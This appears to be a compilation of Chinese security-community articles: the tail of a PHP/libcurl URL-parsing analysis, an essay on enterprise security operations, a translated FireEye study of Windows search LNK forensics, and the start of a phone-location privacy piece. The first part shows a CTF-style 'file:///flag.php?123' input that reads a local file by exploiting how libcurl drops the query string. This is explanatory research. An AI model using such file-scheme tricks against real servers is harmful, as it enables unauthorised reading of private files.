frame #0: 0x00000001037ca1cf php`php_curl_option_str(ch=0x0000000104282000, option=10002, str="file:///flag.php?123", len=20, make_copy=0 '\0') at interface.c:194
这里就是调用了libcurl里面的`curl_easy_setopt`函数,我们跟进看看
函数的官方定义:[curl_easy_setopt - set options for a curl easy handle
](https://curl.haxx.se/libcurl/c/curl_easy_setopt.html)
同理我们跟进`curl_exec`函数发现其最终调用的是:`curl_easy_perform`
其实PHP只不过对example做了一些小封装分别搞出了自己的函数.
> ## EXAMPLE
CURL *curl = curl_easy_init();
if(curl) {
CURLcode res;
curl_easy_setopt(curl, CURLOPT_URL, "http://example.com");
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
所以下面我们主要分析下libcurl是怎么解析URL就行了。
`/lib/setopt.c`
#undef curl_easy_setopt
CURLcode curl_easy_setopt(struct Curl_easy *data, CURLoption tag, ...)
{
va_list arg;
CURLcode result;
if(!data)
return CURLE_BAD_FUNCTION_ARGUMENT;
va_start(arg, tag);
result = Curl_vsetopt(data, tag, arg);
va_end(arg);
return result;
}
跟进下`Curl_vsetopt`,这个函数就是设置各种请求信息的,代码case多所以比较长。
这里我们结合上面分析可以确定就是发起的是URL请求。
case CURLOPT_URL:
/*
* The URL to fetch.
*/
if(data->change.url_alloc) {
/* the already set URL is allocated, free it first! */
Curl_safefree(data->change.url);
data->change.url_alloc = FALSE;
}
result = Curl_setstropt(&data->set.str[STRING_SET_URL],
va_arg(param, char *));
data->change.url = data->set.str[STRING_SET_URL];
break;
CURLcode Curl_setstropt(char **charp, const char *s)
{
/* Release the previous storage at `charp' and replace by a dynamic storage
copy of `s'. Return CURLE_OK or CURLE_OUT_OF_MEMORY. */
Curl_safefree(*charp);
if(s) {
char *str = strdup(s);
if(str) {
size_t len = strlen(str);
if(len > CURL_MAX_INPUT_LENGTH) {
free(str);
return CURLE_BAD_FUNCTION_ARGUMENT;
}
}
if(!str)
return CURLE_OUT_OF_MEMORY;
*charp = str; #这里就是值传递的点
}
return CURLE_OK;
}
这里URL的`file:///flag.php?123`给了`data->set.str[STRING_SET_URL]`
感觉还是没到点子上, 我们继续跟进看下是怎么发出请求的。
下面就是关键的处理URL函数了
`lib/urlapi.c`
`curl_url_get` line:1003
case CURLUPART_URL: {
char *url;
char *scheme;
char *options = u->options;
char *port = u->port;
char *allochost = NULL;
if(u->scheme && strcasecompare("file", u->scheme)) {
url = aprintf("file://%s%s%s",
u->path,
u->fragment? "#": "",
u->fragment? u->fragment : "");
}
这里可以看到这里拼接直接没有考虑`query`部分,最终结果就是`file:///flag.php`
继续跟下去到`file`协议的处理流程,file协议走的是文件处理函数`file_connect`
static CURLcode file_connect(struct connectdata *conn, bool *done)
{
struct Curl_easy *data = conn->data;
char *real_path;
struct FILEPROTO *file = data->req.protop;
int fd = -1;
#ifdef DOS_FILESYSTEM
size_t i;
char *actual_path;
#endif
size_t real_path_len;
CURLcode result = Curl_urldecode(data, data->state.up.path, 0, &real_path,
&real_path_len, FALSE);
`real_path`最终处理file的时候拼接的路径值就是`data->state.up.path`,也就是资源部分,其他不管,这点刚好和php上面不一样。
## 0x4 总结
libcurl的处理过程显然是比php处理过程更细腻， 毕竟两者方向不一样，
不过正好说明了一个问题，越完善的功能往往暴露出的攻击点显然会更多。哎，之前一直卡在wupco师傅的那个phppwn的题目导致我落下了很多知识的学习，争取这几天把坑补完吧。
## 0x5 参考链接
[PHP:file_get_contents获取微信头像缓慢问题定位](https://www.jianshu.com/p/42e0c4304b60)
[Docker环境下编译安装PHP7.1.4 Nginx1.12.0](https://www.jianshu.com/p/b2655d50b1ad)
[Phar与Stream Wrapper造成PHP RCE的深入挖掘](https://blog.zsxsoft.com/post/38)
[PHP回顾之流](https://segmentfault.com/a/1190000015052042)
[如何在 Mac 上用 Clion 调试 php7 源码](https://www.jianshu.com/p/f6af567b25a7)
[libcurl中curl_easy_setopt()和curl_easy_perform()函数使用中文详解](http://blog.sina.com.cn/s/blog_7e0127220100zfbf.html) | 社区文章 |
### Author：redflog
无论对于甲方还是乙方，信息安全都是一个非常重要且复杂的话题。引用圈内某佬的一句话“安全本身就是个伪概念，没法准确定义，只能说相对妥善而已“。初听时觉得装X，现在想想，确有几丝意味。故而每个投身安全行业的人都值得人们尊敬，因为我们都走在一条永远没有尽头的路上，与君共勉！
本人出身网工专业（没当过一天网管），同时兼学多种网站开发（为了赚钱吃饭），初碰安全是在11年，当时为了解决一个.net应用下的报错问题（sqli..）就无法自拔的迷恋上安全，走过了啊D，御剑，wvs，metasploit等等这么些个时代，途径2家知名甲方安全公司，一家国企，目前供职于某橙色公司。从在乙方公司忘我日站，和基友们吹比菜刀里的shell是几位数到沉下心分析各种木马，开发代码，挖掘漏洞，再到进入甲方考虑如何“妥善”应对企业里的安全问题，虽然是一路小跑，但也在亦步亦趋中找到了自己的一点方向和理解，简单聊下，不喜勿喷~
从乙到甲转型的初衷发生在国企呆的那一年，虽是国企确是偏乙方的工作，刚去的时候发现公司的网络被各路“兄弟们”搞得惨不忍睹，更有甚者翻出公司通讯录，直接找到我联系方式，调戏/威胁…，当时就恼怒的要把安全搞好，但是还没等把我的计划部署下去就已经被国企里各种all-known的事情搞得精分。离职后整整思考了一个多月，我那些带有乙方特色的防护方案即使部署了也无济于事，至多在某些领域增强了攻击捕获和拦截能力，完全没有提升整个公司安全水位，而且当时就已经感觉到甲方安全涉及到众多和业务，制度，合规，沟通等与技术没太多关联的东西，很多方案施行起来真的是有心无力。考虑再三，决定投身甲方，学补不足，做更有责任，更有嚼劲的企业安全。
甲方安全涉及的领域实在太多了，在笔者的所在的公司，安全覆盖了技术，业务，合规，法务，等等多个大部门，但技术一个部门又涵盖了开发，运维，运营，平台等小部门，再往下还可以分为waf，app类，无线，漏洞分析，入侵检测，src等多个小分组。况且这么划分对有些领域还无法覆盖，不甚合理。甲方安全是一个体系化的存在，即在于安全团队内部的体系建设，也在于安全处置流程的体系管理，同样也在于安全与其他部门沟通约定的系统规程。
正如我所说，甲方的安全太过复杂，没有任何人能cover所有需要关注的领域，所以下面我只是逐一列列我在甲方中关注的某些领域的问题。
安全资产清理
这里姑且把人员也当成企业安全运营中的资产。安全资产永远是一个企业的硬伤。说真的从乌云时代各种企业漏洞，到现在各种圈内爆出的秘闻，无不表明没有多少公司能真搞清楚自己的资产，这里所说的资产是广义的，动态的概念。资产不一定仅仅是线上/线下的服务器，有可能包含并购的公司，拉长的业务线，合作的某实验项目，还有可能是公司员工，外包员工，临时实习生，也有可能是新采购的设备，替换的运营商出口，更有可能是进行几小时测试的开发接口，临时申请的域名等等等等，这些都是实时在变，可控性有限的资产，当数据外溢到某个未知资产上时，安全受到就成几何倍数的风险，一个最为直接的例子就是有经验的白帽子往往会在新业务和并购公司上挖洞，难道风险不也是这么来的?
安全资产真的会把人弄得筋疲力尽，但这是一切一切的基础，不得不做！
漏洞扫描
漏扫看起来简单，其实绝没那么轻松，甲方各家应该都有知名商业漏扫，任性的还可以自己写写，实在不济的也会用用破解版wvs
啥的。在乙方的时候签个渗透测试协议，注明渗透过程中造成的任何风险无需承担即可。但在甲方问题来了，如果把线上业务扫挂了！后果可能是不能承受之惩罚。某甲方公司朋友曾跟我说，每次季度线上漏扫，都要把运维，开发，运营都挨个求爷爷告奶奶问一遍，让大家签字/在场才能进行扫描，碰到不好交流的一脸板砖相。这是甲方普遍出现的问题，我们的解决方案只能是尽可能降低poc危害程度，压低线程，分区域扫描，做好备份计划。有的时候业务的脆弱性远比想象中大的多！漏扫的坑远不至这个，漏扫部署的位置也很重要，外网，内网，测试，专线，应用在哪里扫描理应覆盖哪里，多少公司把漏扫放在办公网，殊不知根本扫不到专线应用。至于漏扫规范，紧急事件漏扫，漏扫能力评估等等问题更是纠缠不断。
漏洞推修
扫到了漏洞就需要对漏洞进行修复，这也是企业里的老大难问题。生产环境修复涉及业务迁移和波动，如何沟通解决让老大们拍板确定是个问题；测试环境漏洞层出不穷，发现的比修复的还多也是个问题；碰到漏洞实在无法及时修复，但风险又很高，如何调拨安全能力重点关注这些威胁还是问题。笔者在漏洞推修问题上碰到了太多坑，什么原因都有，总之漏洞推修远比乙方渗透报告里那几行字复杂出无数倍。
安全审计
甲方企业大了，应用多了，很多安全就没法做到即时亲身干预，这个时候就需要审计来帮忙，安全审计的对象有很多，技术上来说可以有登录，操作命令，网络，进程，日志，文件等等，但就审计技术本身就没那么简单，审计数据从哪里来，如何传输，如何防绕过篡改，覆盖率和存活率如何保证等，这些基础问题是必须有方案的。是否会在某一时间增大业务应用的压力，审计数据如何实时存储计算，如何将多个审计数据源的威胁情报交叉关联等这些问题也许要考虑和解决，还有最重要的，审计规则怎么做的有效准确，如何捕获/界定异常和违规？之前和朋友们就安全审计规则讨论过profile，打分制，异常比例，机器学习等等。然而，真正应用在业务场景下，目前还没有一个特别好的通用的方法能兼容效率，性价比，告警准确度等多方面需求，只能是不断优化，不断探索。
安全规范
安全规范也是个极宽的东西，这里只提我在工作中碰到几个点，比如线上登录规范（甲方的朋友估计都会感慨员工的私钥到处乱放的问题）；部署规范（无关文件在服务器上到处存放）；数据规范（数据隐私级别制定以及访问、存放的方式）；模板装机规范（是否使用通用口令，是否有硬编码密码问题）；代码规范（不解释）；开发上线规范等等，每种规范都值得深思细究，而且并不是安全部门制定规范其他人执行就OK了，开发和安全因为规范“打架”的问题，估计已成甲方公司茶余饭后的消遣，规范类问题需要与运维，开发，多个部门进行协商，扯皮的过程只能用唉来形容，但也是不得不面对的问题。
安全建设
安全建设在甲方也是个很重要的问题，有人曾说过在甲方，安全是基础资源，像空气和水，确实是这样的，平时没人关注安全，但是出事请都是致命的。怎样平时就让大家关注到安全体系的变化和运行，以及多种安全平台帮助安全部门更好的运营安全，这就需要安全建设。安全建设涉及到资产平台建设，漏洞平台，扫描平台，事件处置平台，告警规则平台等多个平台建设，这里不是说所有都要建，这需要根据实际情况来选择，但需要知道的是每个平台都需要以数据流程为依托，然后数据流程中涉及的方方面面整理确认恐怕也不是一时半会儿能搞定的！绝不是架起来个巡风那么简单的事情。
应急止血
当服务器出现异常，就需要人工登录进入干预，如果是线上服务问题就来了，业务第一还是安全第一？保业务可能导致畏手畏脚短时间内无法排除异常，甚至给攻击者更多时间进攻内网或者是域，丧失了宝贵的拦截时机。保安全意味着业务可能会受影响甚至挂掉，安全部门不得不承担这种后果。甲方朋友们需要做的可能是要人工评估两种代价，然后做出选择。如何应急止血，可能每个公司每个人都有自己的办法，有的iptables限制，有的加防火墙，有的加网络黑名单，还有的直接切热备，关机下线，这些都是需要甲方认真去考量的，包括涉及到其他领域需要的入侵取证，攻击溯源分析，攻击源反查，服务器无害性确认等等都是需要很艰难的工作来搞定的，不仅仅是关机拔网线那么简单。
红蓝对抗
当甲方的安全做了好几年，发现不到入侵事件了，那么新的安全问题也就来了。到底是因为安全做的不错还是因为你发现不了呢？于是渗透测试便需要加入到安全的豪华套餐里来，有渗透团队的做起了自己的红蓝对抗，没渗透团队的搞来了商业渗透测试，但是两者存在着各自的问题，自营红蓝对抗其实是一个比较稳妥的方案，既能从内部发现威胁，尽可能暴露安全问题，也能降低渗透造成的不确定危害，但如何组建运营蓝军以及自营蓝军怎么覆盖所有的业务场景，发现所有危险的点也就成了这一方案的核心问题，同样因为与公司过于贴近，蓝军的渗透自然会缩小攻击眼界到内部核心的几个点（大多数企业安全都是外硬内软），产生渗透测试覆盖面不全的问题。反过来看，商业渗透有很强的攻击模拟性，可以有效验证外部入侵的killchain是否被有效关注，但是由于时间短，业务理解度低，也会产生一些问题，无法揭示所有的攻击场景。那么如何在红蓝对抗中将内部蓝军和外部商业渗透合并到一起作为企业安全的试金石就成了该重点考虑的问题。
人才招聘
这是个有意思的话题，我在甲方乙方的时候都帮公司安全部门招聘过人，招聘对于求职者是个难题，其实对于甲方安全公司也是个难题。安全是有圈子的，把圈子里熟知的牛们拉来不在我的讨论范围。招聘要解决的是补强团队在某个领域能力的缺口或者平衡工作量。前者招聘时就该以硬实力为基础，评估其能否承担起甲方对应工作，后者则需要考察面试者的安全普适能力，比如脚本编写，漏洞原理，简单的排查/修复能力等。对于安全出身，我倒不觉得应该区分科班好还是野路子好，凭能力，潜力以及和团队适配度是最重要的考察标准。面试的过程不应该是以问倒面试者为荣，应该是让面试者自己阐述能力输出的案例，面试官来引导细节，判断是否真实，有逻辑。现在的安全求职和从业者确实有点鱼龙混杂，有硬实力者，CTF选手，白帽子，入门新手，也有拿着别人案例冒充自己的tricker，无主动学习能力喜欢混圈子的，只会简单技巧却口若悬河的，也有想洗白的，还有不素之客…，如何甄别，真成为甲方安全又一个艰难的问题。
扯了这么多，无非就是想和在甲方坚持的小伙伴们，尤其是乙方转到甲方的小伙伴们多交流下经验，在甲方做安全可以多考虑一些，少入一些坑。安全不易，且行且珍惜，甲方的安全一定是与业务需求息息相关，撸服务器日战的技术固然重要，但将安全能力有效输出至企业安全，提升业务场景下的安全水位，才是甲方安全的重要之道。 | 社区文章 |
# LNK文件在数字取证中的应用
|
##### 译文声明
本文是翻译文章，文章原作者 fireeye，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2020/02/the-missing-lnk-correlating-user-search-lnk-files.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
数字取证分析人员通常会使用LNK快捷方式文件来恢复关于最近访问文件（包括访问后被删除的文件）的元数据，在最近一次调查过程中，FireEye
Mandiant发现了一些LNK文件，这些文件与攻击者访问过的系统文件有关（包括在Windows
Explorer中的搜索痕迹）。根据我们的经验，这种新的分析技术可以结合到数字取证中。在本文中，我们将与大家分享相关研究成果，更全面地了解攻击者在目标系统上的行为及目标。此外，这些研究成果还可用于内部威胁案例，以确认搜索文件及打开文件的具体路径。
## 0x01 Windows LNK文件
`.lnk`扩展名与Shell Item文件有关，这种二进制格式的文件中包含一些信息，在Windows
Shell（[图形用户接口](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943)）中可以用来访问其他数据对象。
LNK快捷方式文件是其中一种Shell
Item，当用户通过支持该功能的应用程序访问文件时，Windows操作系统会自动创建这类文件，但这些文件也可以由用户手动创建。LNK快捷方式文件通常包含已访问文件的一些元素据，比如文件名、文件大小、原始路径、时间戳、卷及系统信息（如驱动器类型及系统主机名）、网络信息（如网络共享路径）。幸运的是，我们可以使用一些工具来解析这些文件。在Mandiant公司内部，我们通常会利用FireEye
Endpoint Security来解析LNK文件，识别可疑的用户搜索项。在本文中，我们使用的是Eric
Zimmerman开发的[LECmd](https://github.com/EricZimmerman/LECmd)。`LECmd.exe`提供的命令行参数如下图所示：
图1. `LECmd.exe`命令行选项
在安全取证中，LNK快捷方式文件的元数据解析可应用于多个场景，比如梳理系统上的用户行为轨迹，或者搜索已删除的恶意软件的相关信息。
## 0x02 用户搜索LNK文件
Mandiant最近发现了无法正常识别的一种LNK文件，这些文件来自于Windows Server 2012
R2系统，涉及到的路径如图2所示。我们根据扩展名及文件路径，猜测这些文件属于LNK快捷方式文件，但并不熟悉文件中的内容。
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\gov.lnk
图2. 特殊LNK文件的完整路径
在之前的处理案例中，取证人员会使用LNK快捷方式文件名来推测用户打开了名为`passw`或者`gov`的文件，然后使用LECmd之类的工具来提取其他元数据，这样就能获取已访问文件的完整文件路径、文件的访问时间戳以及其他取证信息。
然而，我们并没有从这些LNK文件中获取预期的元数据。LECmd对`passw.lnk`的处理结果如图3所示（为了方便演示，这里省略了部分信息）：
LECmd version 1.3.2.1
Author: Eric Zimmerman ([email protected])
https://github.com/EricZimmerman/LECmd
--- Header --- Target created:
Target modified:
Target accessed:
File size: 0
Flags: HasTargetIdList, IsUnicode, DisableKnownFolderTracking
File attributes: 0
Icon index: 0
Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)
--- Target ID information (Format: Type ==> Value) ---
Absolute path: Search Folder\passw
-Users property view ==> Search Folder
>> Property store (Format: GUID\ID Description ==> Value)
d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutoList ==> VT_STREAM not implemented (yet) See extension block section for contents for now
d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheTime ==> 1849138729510
d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheKey ==> Search Results in Local Disk (C:)0
-Variable: Users property view ==> passw
>> Property store (Format: GUID\ID Description ==> Value)
1e3ee840-bc2b-476c-8237-2acd1a839b22\2 (Description not available) ==> VT_STREAM not implemented
1e3ee840-bc2b-476c-8237-2acd1a839b22\8 (Description not available) ==> passw
28636aa6-953d-11d2-b5d6-00c04fd918d0\11 Item Type ==> Stack
28636aa6-953d-11d2-b5d6-00c04fd918d0\25 SFGAO Flags ==> 805306372
b725f130-47ef-101a-a5f1-02608c9eebac\10 Item Name Display ==> passw
--- End Target ID information ---
--- Extra blocks information ---
>> Property store data block (Format: GUID\ID Description ==> Value)
(Property store is empty)
图3. `LECmd.exe`对`passw.lnk`的处理结果
需要注意的是，上图中我们并没有在LNK快捷文件中找到预期的信息，然而却在`Target ID
Information`中却找到了一些有趣的字符串，包括`Search Folder\passw`以及`Search Results in Local
Disk
(C:)`。为了方便比较，我们也使用标准的LNK快捷文件来测试，输出结果如图4所示，注意其中包含目标文件时间戳、文件大小、完整文件路径以及其他文件元数据（我们也隐去了部分信息，以便展示）。
LECmd version 1.3.2.1
Author: Eric Zimmerman ([email protected])
https://github.com/EricZimmerman/LECmd
--- Header --- Target created: 2020-01-21 19:34:28
Target modified: 2020-01-21 19:34:28
Target accessed: 2020-01-22 21:25:12
File size: 4
Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking
File attributes: FileAttributeArchive
Icon index: 0
Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)
Relative Path: ..\..\..\..\..\Desktop\test.txt
Working Directory: C:\Users\<username>\Desktop
--- Link information --- Flags: VolumeIdAndLocalBasePath
>>Volume information
Drive type: Fixed storage media (Hard drive)
Serial number: <serial number>
Label: OSDisk
Local path: C:\Users\<username>\Desktop\test.txt
--- Target ID information (Format: Type ==> Value) --- Absolute path: My Computer\Desktop\test.txt
-Root folder: GUID ==> My Computer
-Root folder: GUID ==> Desktop
-File ==> test.txt
Short name: test.txt
Modified: 2020-01-21 19:34:30
Extension block count: 1
--------- Block 0 (Beef0004) --------- Long name: test.txt
Created: 2020-01-21 19:34:30
Last access: 2020-01-21 19:34:32
MFT entry/sequence #: 108919/8 (0x1A977/0x8)
--- End Target ID information ---
--- Extra blocks information ---
>> Tracker database block
Machine ID: <hostname>
MAC Address: <mac address>
MAC Vendor: INTEL
Creation: 2020-01-21 15:19:59
Volume Droid: <volume>
Volume Droid Birth: <volume>
File Droid: <file>
File Droid birth: <file>
图4. `LECmd.exe`对标准LNK快捷文件`test.txt`的处理结果
幸运的是，在研究过程中我们还使用了Harlan
Carvey提供的[RegRipper](https://code.google.com/archive/p/regripper/downloads)来解析用户的`NTUSER.DAT`注册表文件，查看了`WorldWheelQuery`键值，该键值中包含用户在资源管理器（Explorer）中的详细搜索历史记录。在查看后，我们发现`passw.lnk`文件变得越来越有趣。我们发现历史搜索结果中包含LNK文件中的同一个关键词：`passw`。
wordwheelquery v.20100330
(NTUSER.DAT) Gets contents of user's WordWheelQuery key
Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
LastWrite Time Wed Nov 13 06:51:46 2019 (UTC)
Searches listed in MRUListEx order
14 Secret
6 passw
13 ccc
12 bbb
11 aaa
10 *.cfg
9 apple
8 dni
7 private
4 gov
5 air
3 intelsat
2 adhealthcheck
1 *.ps1
0 global
图5. 从用户`NTUSER.DAT`注册表文件中提取的`WorldWheelQuery`键值
通过`WorldWheelQuery`注册表键值，我们根据`MRUListEx`顺序发现`passw`这个关键词在用户资源管理器的最近搜索历史记录中排名第二位。`MRUListEx`是注册表中的一个值，按顺序给出了最近常被访问的一些元素，本质上就是资源管理器中的搜索顺序。`passw`同时也是特殊LNK文件的文件名，该文件中还包含`Search
Results in Local Disk
(C:)`字符串（如图3所示）。根据这些细节，我们似乎能推测这些LNK文件的创建与用户资源管理器的搜索行为有关。因此，我们将这些文件标记为“用户搜索LNK文件”。
## 0x03 抽丝剥茧
当我们使用用户资源管理器搜索历史记录中包含的关键词在系统中搜索LNK文件后，我们发现这些词都与用户搜索LNK文件有关。我们识别出了这类LNK文件以及相应的文件创建和修改时间戳，如图6所示。需要注意的是，虽然我们通过`WorldWheelQuery`注册表键值找到了15个搜索结果，但只找到了4个用户搜索LNK文件。
2019-11-09 08:33:14 Created Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\gov.lnk
2019-11-09 09:29:11 Created
2019-11-09 09:29:37 Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\private.lnk
2019-11-09 08:38:29 Created
2019-11-13 06:47:56 Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk
2019-11-13 06:57:03 Created
2019-11-13 06:57:25 Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\Secret.lnk
图6. `WorldWheelQuery`资源管理器搜索关键词所对应的LNK文件
此外，我们还注意到有一些LNK文件的创建时间相同，并且这些文件具有相似的文件名。比如，有两个LNK文件的创建时间都为`2019-11-09 08:38:29
UTC`，如图7所示。
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\password.lnk
图7. 创建时间相同的LNK文件
进一步测试后，我们发现当用户使用资源管理器搜索，并且打开搜索结果中的文件后，系统就会创建用户搜索LNK文件。如果用户没有打开搜索结果中的文件，系统就不会创建用户搜索LNK文件。
在这个案例中，`password.lnk`文件中包含目标文件元数据（与正常LNK快捷方式文件所包含的数据类似），也引用了`T:\`目录中名为`password.txt`的目标文件。前文提到过，`passw.lnk`只包含用户搜索LNK文件元数据，包括绝对路径`Search
Folder\passw`，也引用了`Search Results in Local Disk (C:)`。然而，这种目录上的差异点其实一点也不意外。
LNK快捷文件中包含最近访问文件的元数据，我们发现这一点同样适用于用户搜索LNK文件。根据`passw.lnk`不同的创建及修改时间戳，我们可知用户至少在另一种情况下搜索过`passw`（但我们并不清楚这两次搜索间是否还有其他搜索行为），并且从搜索结果中打开过一个文件。我们可以在图8中的`passw`用户搜索LNK文件中，通过查看时间戳来确认这一点：
2019-11-09 08:38:29 Created
2019-11-13 06:47:56 Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk
图8. `passw.lnk`创建及修改时间戳
第二次搜索`passw`的行为发生在2019年11月13日。在这次搜索中，用户再次使用Windows资源管理器来搜索`passw`关键词，但这次是在`C:\`驱动器上下文中搜索（即在本地磁盘`C:`中搜索），然后点击名为`password2.txt`的文档。LECmd对`password2.lnk`的分析结果如图9所示（这里为了保证结果清晰及保护客户隐私，我们隐去了部分信息）。需要注意的是，用户搜索LNK文件中包含的信息同样包含在同时创建的LNK快捷方式文件中。`passw.lnk`的搜索上下文以及`password2.lnk`的完整文件路径位置都一样，均为`C:\`。
LECmd version 1.3.2.1
Author: Eric Zimmerman ([email protected])
https://github.com/EricZimmerman/LECmd
--- Header --- Target created: 2015-11-09 22:14:10
Target modified: 2010-01-11 16:57:11
Target accessed: 2015-11-09 22:14:10
File size: 19
Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking
File attributes: FileAttributeArchive
Icon index: 0
Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)
Relative Path: ..\..\..\..\..\..\..\<file path>\password2.txt
Working Directory: C:\<file path>
--- Link information --- Flags: VolumeIdAndLocalBasePath, CommonNetworkRelativeLinkAndPathSuffix
>>Volume information
Drive type: Fixed storage media (Hard drive)
Serial number: <serial number>
Label: (No label)
Network share information
Share name: \\<hostname>\<top level folder>
Provider type: <provider type>
Share flags: ValidNetType
Local path: C:\<top level folder>\
Common path: <file path>\password2.txt
--- Target ID information (Format: Type ==> Value) ---
Absolute path: Search Folder\passw\password2
-Users property view ==> Search Folder
>> Property store (Format: GUID\ID Description ==> Value)
d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutoList ==> VT_STREAM not implemented (yet) See extension block section for contents for now
d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheTime ==> 1849138729510
d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheKey ==> Search Results in Local Disk (C:)0
-Variable: Users property view ==> passw
>> Property store (Format: GUID\ID Description ==> Value)
1e3ee840-bc2b-476c-8237-2acd1a839b22\2 (Description not available) ==> VT_STREAM not implemented
1e3ee840-bc2b-476c-8237-2acd1a839b22\8 (Description not available) ==> passw
28636aa6-953d-11d2-b5d6-00c04fd918d0\11 Item Type ==> Stack
28636aa6-953d-11d2-b5d6-00c04fd918d0\25 SFGAO Flags ==> 805306372
b725f130-47ef-101a-a5f1-02608c9eebac\10 Item Name Display ==> passw
-Variable: Users property view ==> password2
>> Property store (Format: GUID\ID Description ==> Value)
49691c90-7e17-101a-a91c-08002b2ecda9\3 Search Rank ==> 0
28636aa6-953d-11d2-b5d6-00c04fd918d0\25 SFGAO Flags ==> 1077936503
28636aa6-953d-11d2-b5d6-00c04fd918d0\32 Delegate ID List ==> VT_VECTOR data not implemented (yet) See extension block section for contents for now
28636aa6-953d-11d2-b5d6-00c04fd918d0\11 Item Type ==> .txt
28636aa6-953d-11d2-b5d6-00c04fd918d0\24 Parsing Name ==> password2.txt
446d16b1-8dad-4870-a748-402ea43d788c\100 Thumbnail Cache Id ==> 7524032674880659487
1e3ee840-bc2b-476c-8237-2acd1a839b22\12 (Description not available) ==> Null
1e3ee840-bc2b-476c-8237-2acd1a839b22\20 (Description not available) ==> 1
1e3ee840-bc2b-476c-8237-2acd1a839b22\3 (Description not available) ==> document
1e3ee840-bc2b-476c-8237-2acd1a839b22\17 (Description not available) ==> {1685D4AB-A51B-4AF1-A4E5-CEE87002431D}.Merge Any
1e3ee840-bc2b-476c-8237-2acd1a839b22\8 (Description not available) ==> C:\<file path>\password2.txt
b725f130-47ef-101a-a5f1-02608c9eebac\4 Item Type Text ==> Text Document
b725f130-47ef-101a-a5f1-02608c9eebac\10 Item Name Display ==> password2
b725f130-47ef-101a-a5f1-02608c9eebac\12 Size ==> 19
b725f130-47ef-101a-a5f1-02608c9eebac\14 Date Modified ==> 01/11/2010 16:57:11
006fdbaa-864f-4d1c-a8e8-e62772e454fe\11 (Description not available) ==> 59
006fdbaa-864f-4d1c-a8e8-e62772e454fe\13 (Description not available) ==> 1077936423
cf5be8c0-236c-4ad3-bace-cd608a2748d7\100 (Description not available) ==> True
e3e0584c-b788-4a5a-bb20-7f5a44c9acdd\6 Item Folder Path Display ==> C:\<file path>
--- End Target ID information ---
--- Extra blocks information ---
>> Property store data block (Format: GUID\ID Description ==> Value)
(Property store is empty)
>> Tracker database block
Machine ID: <hostname>
MAC Address: <mac address>
MAC Vendor: VMWARE
Creation: 2019-11-13 04:29:24
Volume Droid: <volume>
Volume Droid Birth: <volume>
File Droid: <file>
File Droid birth: <file>
图9. `LECmd.exe`对`password2.lnk`的分析结果
这里要注意的是，用户搜索LNK文件只与搜索关键字有关，与搜索上下文无关。这意味着再一次搜索同一个关键词时（比如`passw`），用户在搜索结果中打开了文件，但由于处在不同的驱动器及目录中，因此更改了用户搜索LNK文件的修改时间戳及其中包含的搜索上下文。这与LNK快捷方式文件保持一致，这类文件只依赖简单文件名，而非完整文件路径。
## 0x04 时间戳
根据Windows注册表中`WorldWheelQuery`键值的结构以及可用的时间戳信息，之前取证人员只能使用注册表键值的最近修改时间来确定最近搜索关键词的搜索时间。根据我们对用户搜索LNK文件的分析，现在如果用户在搜索关键词后，从结果中打开了某个文件，那么取证人员就可以使用新的时间戳来判断精确的搜索时间。如果更进一步，我们可以将用户搜索LNK文件与`WorldWheelQuery`
`MRUlistEx`注册表键值结合起来，推测用户执行的搜索顺序。比如，由于上文案例中用户搜索了`gov`（`WorldWheelQuery`索引值为`4`）、`passw`（索引值`6`）以及`private`（索引值`7`），我们可以推测出用户还搜索过`air`（索引值为`5`），但没有从搜索结果中打开任何文件。
## 0x05 总结
LNK快捷方式文件已经是一种可靠的取证方法，可以用来判断用户对文件及相关文件元数据的访问时间。通过用户搜索LNK文件，现在我们可以进一步丰富资源管理器的搜索历史，当用户执行搜索操作并打开搜索结果文件后，我们就获得更详细的时间戳信息。 | 社区文章 |
# 不想让智能手机泄露定位信息？没门
##### 译文声明
本文是翻译文章，文章原作者 Guevara Noubir，文章来源：theconversation.com
原文地址：<http://theconversation.com/your-mobile-phone-can-give-away-your-location-even-if-you-tell-it-not-to-65443>
译文仅供参考，具体内容表达以及含义原文为准。
#
## 一、前言
根据最近的一些新闻报道，军方人士的数字健身追踪器会[存储](https://labs.strava.com/heatmap/)他们的训练场所信息（包括全世界各地的[军事基地、秘密场所](https://www.washingtonpost.com/world/a-map-showing-the-users-of-fitness-devices-lets-the-world-see-where-us-soldiers-are-and-what-they-are-doing/2018/01/28/86915662-0441-11e8-aa61-f3391373867e_story.html)及附近地点），这些消息让美国军方猝不及防。但这种安全威胁并不局限于Fitbits以及类似设备。我们小组最近的研究成果显示，移动手机同样可以跟踪用户的运动轨迹，比如在商场、城市以及世界各地的行进路线，即使用户关闭手机的定位跟踪服务也无济于事。
图1.
